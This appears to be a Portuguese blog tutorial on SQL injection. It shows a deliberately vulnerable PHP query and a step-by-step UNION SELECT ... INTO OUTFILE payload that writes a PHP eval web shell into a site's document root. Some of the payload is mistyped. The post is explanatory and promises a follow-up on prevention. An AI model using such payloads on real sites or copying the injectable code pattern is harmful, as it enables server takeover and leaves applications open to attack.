Muito se houve falar dos perigos da injeção de SQL ou, como é mais conhecido o termo, SQL injection. Mas acho falho manterem como principal exemplo o ganho de acesso a áreas restritas de sites ou a possibilidade de estragos ao banco de dados, deixando de lado outras possibilidades ainda mais danosas. Por isso, e por achar que há pouca informação sobre uma técnica cujos danos eu julgo serem piores que os exemplos acima, preferi escrever sobre a possibilidade de introdução de código num site atacado.
Suponhamos que você tenha criado uma agenda online para uma empresa e que, nessa agenda, o usuário pode consultar seus compromissos. Para isso, você fez um código PHP parecido com:
$conexao = mysql_connect('mysql.exemplo.com', 'root', 'password123');
mysql_select_db('agenda', $conexao);
$consulta = mysql_query('SELECT CompromissoNome, CompromissoData, CompromissoImportancia FROM Compromisso WHERE UsuarioID = ' . $_GET['Usuario'], $conexao);
echo '<table><tr><td>Nome</td><td>Data</td><td>Importância</td></tr>';
while ($linha = mysql_fetch_row($consulta))
{
echo "<tr><td>{$linha[0]}</td><td>{$linha[1]}</td><td>{$linha[2]}</td></tr>";
}
echo '</table>';
...
Então, um funcionário resolve atacar a agenda porque quer tentar usar o site da empresa como um "zumbi". Seu primeiro passo é verificar se a aplicação aceita injeção de SQL. Por saber que uma consulta aos compromissos por data retorna uma lista com três campos., ele faz o seguinte:
- entra no site com sua senha;
- consulta seus compromissos;
- verifica que essa consulta é feita por uma URL do tipo:
http://exemplo.com/index.php?Usuario=15; - nisso, seu código SQL ficaria assim:
SELECT CompromissoNome, CompromissoData, CompromissoImportancia FROM Compromisso WHERE UsuarioID = 15; - e o usuário receberia uma tabela com um compromisso por linha;
- o usuário então mudaria a URL para:
http://exemplo.com/index.php?Usuario=15 UNION ALL SELECT 1, 2, 3; - seu código SQL mudaria para:
SELECT CompromissoNome, CompromissoData, CompromissoImportancia FROM Compromisso WHERE UsuarioID = 15 UNION ALL SELECT 1, 2, 3; - e o usuário receberia a mesma tabela, mas com uma linha adicional mostrando: 1 no campo Nome, 2 no campo Data e 3 no campo Importância;
isso já garante ao usuário que sua agenda aceita SQL Injection.
Outros testes deveriam ser feitos para colher mais dados como, por exemplo, se a conta que acessa o banco de dados tem privilégio FILE. Mas o usuário parte direto para o ataque assim:
- descobre o DocumentRoot da agenda. Isso pode ser feito de várias formas. Infelizmente, uma que dá bastante resultado é acessar http://exemplo.com/phpinfo.php. É impressionante o número de pessoas que não apagam esse tipo de página quando não precisam mais dela;
- e altera novamente a URL para algo como
http://exemplo.com/index.php?Usuario=15 UNION ALL SELECT"<?php @eval($GET['acao']);?>",2,3 INO OUTFILE "/var/www/agenda/zumbi.php"; - seu código SQL ficaria:
SELECT CompromissoNome, CompromissoData, CompromissoImportancia FROM Compromisso WHERE UsuarioID = 15 UNION ALL SELECT "<?php @eval($GET['acao']);?>",2,3 INO OUTFILE "/var/www/agenda/zumbi.php"
Isso cria um arquivo PHP na raiz do site que executa qualquer comando passado como parâmetro. Ele agora pode, sem precisar se logar à agenda, fazer do site da empresa um "zumbi". Para testar, ele usa a URL http://exemplo.com/zumbi.php?acao=phpinfo().
No próximo post falarei de práticas que aprendi para evitar SQL Injection. Mas já dá para perceber que não se pode usar o conteúdo de $_GET e $_POST diretamente, nem dar privilégios perigosos a usuários, não é?



1 Trackback ou Pingback
fevereiro 1st, 2011 on 18:26
[...] de um mês, ele escreveu vários posts, desde como aumentar a segurança de uma rede sem fio a SQL Injection, passando por uma série de quatro posts sobre anonimato na internet e pelos perigos de usar [...]